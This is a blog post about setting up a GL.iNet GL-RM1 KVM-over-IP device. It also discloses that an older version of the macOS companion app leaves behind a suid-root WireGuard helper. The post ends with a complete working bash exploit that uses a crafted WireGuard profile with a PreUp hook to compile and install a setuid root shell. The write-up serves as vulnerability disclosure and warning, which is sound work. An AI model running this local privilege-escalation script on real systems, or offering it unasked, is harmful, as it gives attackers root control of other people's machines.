GL.iNet GL-RM1 Comet KVM over IP

20 Apr 2026 18:39 | macOS | security | exploits

I bought one of these recently at the suggestion of Casey Liss of atp.fm.

Firstly I will say it’s a great device, very useful and has native Tailscale support. I got the non-PoE version which is slightly different to the one that was recommended on ATP but it’s nonetheless very good.

However it wasn’t easy to set up. Out of the box it just didn’t seem to work, I couldn’t get the desktop application to detect it no matter what I did. I verified it was on the network (ethernet) and had a DHCP lease but even giving the app it’s serial number didn’t seem to work.

The manufacturer’s website - https://www.gl-inet.com/app-rm/ - advised downloading version 1.2 of the software first and then upgrading to version 1.4 once the firmware of the device had been upgraded to 1.5 or higher. I followed this advice but couldn’t get either version of the software to detect it. I was able to access it via its web interface but it didn’t work properly there either, I could see my connected computer’s screen but the keyboard did nothing.

Eventually after searching the internet I found several forum posts with people having similar problems and the eventual recommendation was to upgrade the firmware. The web interface for the device told me its software was up to date at version 1.3 but clearly that wasn’t the case so I upgraded it manually and then all was well. Or at least the device was working.

While doing this, because I’m a security nerd and tend to monitor absolutely everything, I was notified of a new privileged helper being installed on the system after installing the earlier version of the software - 1.2. I later went to remove this after uninstalling the earlier version and noticed that the binary for it was suid-root. Interesting.

It didn’t take very long to work out that it was trivially exploitable to get a root shell. Luckily the newer version of the app doesn’t have this file however it’s still a bit concerning because 1) removing the application doesn’t automatically remove the helper, and 2) the manufacturer is still recommending that people start by installing the older version, leading to them compromising their system in the process.

It turns out these devices have a whole slew of vulnerabilities so I’m fairly sure there will already be a CVE for this. But the manufacturer really shouldn’t be recommending people install a vulnerable version of the application that then leaves an exploitable suid root binary lying around forever.

The binary in question lives at /Library/PrivilegedHelperTools/com.glkvm.wireguard-helper and seems to be designed to configure wireguard connections.

Unfortunately it’s suid-root, executes the given wireguard profile as root and wireguard profiles can include shell commands so it’s trivial to escalate to root.

#!/bin/bash
cat > wg0.conf <<EOF
[Interface]
PrivateKey = <CLIENT_PRIVATE_KEY>
Address = 10.0.0.2/24
DNS = 1.1.1.1
PreUp = /tmp/exp.sh

[Peer]
PublicKey = <SERVER_PUBLIC_KEY>
Endpoint = vpn.example.com:51820
AllowedIPs = 0.0.0.0/0, ::/0
PersistentKeepalive = 25
EOF
cat > /tmp/exp.sh <<EOF
#!/bin/bash
chown root:wheel /tmp/exp
chmod 4755 /tmp/exp
EOF
chmod 755 /tmp/exp.sh
cat > /tmp/exp.c <<EOF
#include <unistd.h>

int main()
{
    seteuid(0);
    setuid(0);
    execl("/bin/sh","sh",NULL);
    return 0;
}
EOF
gcc -o /tmp/exp /tmp/exp.c
rm -f /tmp/exp.c
/Library/PrivilegedHelperTools/com.glkvm.wireguard-helper start wg0.conf
rm -f /tmp/exp.sh wg0.conf
/tmp/exp